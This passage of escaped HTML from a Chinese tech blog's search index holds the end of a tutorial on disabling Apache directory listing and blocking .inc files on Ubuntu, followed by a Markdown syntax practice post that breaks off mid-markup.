Options Indexes FollowSymLinks 注释掉并在其下一行添加 Options None,如下图\u003cbr/\u003e\u003cimg src=\"http://mxts.jiujiuer.xyz/files/picture/apache-disable-ls.png\"/\u003e\u003cbr/\u003e3.保存后重启apache2\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e/etc/init.d/apache2 restart\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e4.再次访问目录会出现禁止浏览目录的提示\u003cbr/\u003e\u003cimg src=\"http://mxts.jiujiuer.xyz/files/picture/apache-disable-ls-2.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"禁止特定类型文件访问\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/20/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Ubuntu%E4%B8%8B%E7%A6%81%E7%94%A8Apache%E6%B5%8F%E8%A7%88/#%E7%A6%81%E6%AD%A2%E7%89%B9%E5%AE%9A%E7%B1%BB%E5%9E%8B%E6%96%87%E4%BB%B6%E8%AE%BF%E9%97%AE\" class=\"headerlink\" title=\"禁止特定类型文件访问\"\u003e\u003c/a\u003e禁止特定类型文件访问\u003c/h2\u003e\u003cp\u003e打开apache2配置文件:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003evim /etc/apache2/apache2.conf\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e在最后新增以下内容:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e#禁止.inc扩展文件的访问\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e#可根据实际需要替换成其他文件类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;Files ~ \u003cspan class=\"string\"\u003e\u0026#34;\\.inc$\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Order allow,deny\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Deny from all\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/Files\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2020/12/20/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Ubuntu%E4%B8%8B%E7%A6%81%E7%94%A8Apache%E6%B5%8F%E8%A7%88/"},{"title":"Markdown语法练习","time":"2020-12-19T13:12:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"0-分割线\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Markdown%E8%AF%AD%E6%B3%95%E7%BB%83%E4%B9%A0/#0-%E5%88%86%E5%89%B2%E7%BA%BF\" class=\"headerlink\" title=\"0.分割线\"\u003e\u003c/a\u003e0.分割线\u003c/h2\u003e\u003chr/\u003e\u003chr/\u003e\u003chr/\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e***\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e---\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e___\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"1-斜体,粗体和删除线\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Markdown%E8%AF%AD%E6%B3%95%E7%BB%83%E4%B9%A0/#1-%E6%96%9C%E4%BD%93%EF%BC%8C%E7%B2%97%E4%BD%93%E5%92%8C%E5%88%A0%E9%99%A4%E7%BA%BF\" class=\"headerlink\" title=\"1.斜体,粗体和删除线\"\u003e\u003c/a\u003e1.斜体,粗体和删除线\u003c/h2\u003e\u003cp\u003e\u003cem\u003e斜体\u003c/em\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e粗体\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cdel\u003e删除线\u003c/del\u003e\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e*斜体*\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e**粗体**\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e~~删除线~~\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"2-分级标题\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Markdown%E8%AF%AD%E6%B3%95%E7%BB%83%E4%B9%A0/#2-%E5%88%86%E7%BA%A7%E6%A0%87%E9%A2%98\" class=\"headerlink\" title=\"2.分级标题\"\u003e\u003c/a\u003e2.分级标题\u003c/h2\u003e\u003ch3 id=\"最多6级\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Markdown%E8%AF%AD%E6%B3%95%E7%BB%83%E4%B9%A0/#%E6%9C%80%E5%A4%9A6%E7%BA%A7\" class=\"headerlink\" title=\"最多6级\"\u003e\u003c/a\u003e最多6级\u003c/h3\u003e\u003ch5 id=\"由-的数量决定\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Markdown%E8%AF%AD%E6%B3%95%E7%BB%83%E4%B9%A0/#%E7%94%B1-%E7%9A%84%E6%95%B0%E9%87%8F%E5%86%B3%E5%AE%9A\" class=\"headerlink\" title=\"由#的数量决定\"\u003e\u003c/a\u003e由#的数量决定\u003c/h5\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e### 最多6级\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e##### 由#的数量决定\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"3-外链\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Markdown%E8%AF%AD%E6%B3%95%E7%BB%83%E4%B9%A0/#3-%E5%A4%96%E9%93%BE\" class=\"headerlink\" title=\"3.外链\"\u003e\u003c/a\u003e3.外链\u003c/h2\u003e\u003cp\u003e如下所示:\u003c/p\u003e\u003cul\u003e\u003cli\u003e内联式:\u003ca href=\"https://www.baidu.com/\"\u003e百度\u003c/a\u003e\u003c/li\u003e\u003cli\u003e参考式:[文字描述][链接标签名字]\u003c/li\u003e\u003cli\u003e链接本身: \u003ca href=\"https://www.zhihu.com/\"\u003ehttps://www.zhihu.com\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e* 内联式:[百度](https://www.baidu.com)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e* 参考式:[文字描述][链接标签名字]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e* 链接本身: \u0026lt;https://www.zhihu.com\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"4-无序列表\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Markdown%E8%AF%AD%E6%B3%95%E7%BB%83%E4%B9%A0/#4-%E6%97%A0%E5%BA%8F%E5%88%97%E8%A1%A8\" class=\"headerlink\" title=\"4.无序列表\"\u003e\u003c/a\u003e4.无序列表\u003c/h2\u003e\u003cul\u003e\u003cli\u003e1123123\u003c/li\u003e\u003cli\u003e2123123\u003c/li\u003e\u003cli\u003e3123123\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e* 1123123\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e* 2123123\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e* 3123123\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"5-文字引用\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Markdown%E8%AF%AD%E6%B3%95%E7%BB%83%E4%B9%A0/#5-%E6%96%87%E5%AD%97%E5%BC%95%E7%94%A8\" class=\"headerlink\" title=\"5.文字引用\"\u003e\u003c/a\u003e5.文字引用\u003c/h2\u003e\u003cp\u003e比如说\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e苟利国家生死以,岂因祸福避趋之\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026gt;苟利国家生死以,岂因祸福避趋之\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"6-行内代码块\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Markdown%E8%AF%AD%E6%B3%95%E7%BB%83%E4%B9%A0/#6-%E8%A1%8C%E5%86%85%E4%BB%A3%E7%A0%81%E5%9D%97\" class=\"headerlink\" title=\"6.行内代码块\"\u003e\u003c/a\u003e6.行内代码块\u003c/h2\u003e\u003cp\u003e比如说,\u003ccode\u003e#include \u0026lt;stdio.h\u0026gt;\u003c/code\u003e就像这样,会亮起来\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e比如说,`#include \u0026lt;stdio.h\u0026gt;`就像这样,会亮起来\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"7-插入图像\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Markdown%E8%AF%AD%E6%B3%95%E7%BB%83%E4%B9%A0/#7-%E6%8F%92%E5%85%A5%E5%9B%BE%E5%83%8F\" class=\"headerlink\" title=\"7.插入图像\"\u003e\u003c/a\u003e7.插入图像\u003c/h2\u003e\u003cp\u003e \u003cimg src=\"https://cdn2.mhpbooks.com/2016/02/google.jpg\" alt=\"Google图片\"/\u003e\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e![Google图片](https://cdn2.mhpbooks.com/2016/02/google.jpg)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"8-代码引用\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Markdown%E8%AF%AD%E6%B3%95%E7%BB%83%E4%B9%A0/#8-%E4%BB%A3%E7%A0%81%E5%BC%95%E7%94%A8\" class=\"headerlink\" title=\"8.代码引用\"\u003e\u003c/a\u003e8.代码引用\u003c/h2\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e#include \u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eint main(void)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e......\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"9-表格\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Markdown%E8%AF%AD%E6%B3%95%E7%BB%83%E4%B9%A0/#9-%E8%A1%A8%E6%A0%BC\" class=\"headerlink\" title=\"9.表格\"\u003e\u003c/a\u003e9.表格\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"left\"\u003edaze\u003c/th\u003e\u003cth align=\"center\"\u003edaze\u003c/th\u003e\u003cth align=\"right\"\u003edaze\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003edaze\u003c/td\u003e\u003ctd align=\"center\"\u003edazedazedaze\u003c/td\u003e\u003ctd align=\"right\"\u003edaze\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e|daze|daze|daze|\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e|:-|:-:|-:|\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e|daze|dazedazedaze|daze\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"10-数学:LaTex\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Markdown%E8%AF%AD%E6%B3%95%E7%BB%83%E4%B9%A0/#10-%E6%95%B0%E5%AD%A6%EF%BC%9ALaTex\" class=\"headerlink\" title=\"10.数学:LaTex\"\u003e\u003c/a\u003e10.数学:LaTex\u003c/h2\u003e\u003cp\u003e这是行内公式,会像普通文本一样靠左对齐:$f(x)=x^2+2x+1=(x+1)^2$ \u003c/p\u003e\u003cp\u003e这是单行公式,会自动居中:\u003cbr/\u003e$$\u003cbr/\u003ef(x)=\\int_{-\\infty}^\\infty\u003cbr/\u003e\\hat f{\\xi},e^{2\\pi i\\xi x}\u003cbr/\u003e,d\\xi\u003cbr/\u003e$$ \u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e咱也不知道写的啥东西(乱写的XD)\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"泰勒级数\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Markdown%E8%AF%AD%E6%B3%95%E7%BB%83%E4%B9%A0/#%E6%B3%B0%E5%8B%92%E7%BA%A7%E6%95%B0\" class=\"headerlink\" title=\"泰勒级数\"\u003e\u003c/a\u003e泰勒级数\u003c/h3\u003e\u003cp\u003e$$\u003cbr/\u003ef(x)=f(x_0)+f’(x_0)(x-x_0)+…\u003cbr/\u003e$$\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e顺便,关于LaTex,可以看这个视频了解更多:\u003ca href=\"https://b23.tv/KNLL97\"\u003eLaTex中文教程\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$f(x)=x^2+2x+1=(x+1)^2$\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$$\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ef(x)=\\int_{-\\infty}^\\infty\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\\hat f{\\xi}\\,e^{2\\pi i\\xi x}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\\,d\\xi\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$$\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e### 泰勒级数:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$$\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ef(x)=f(x_0)+f\u0026#39;(x_0)(x-x_0)+...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$$\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e源码:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan 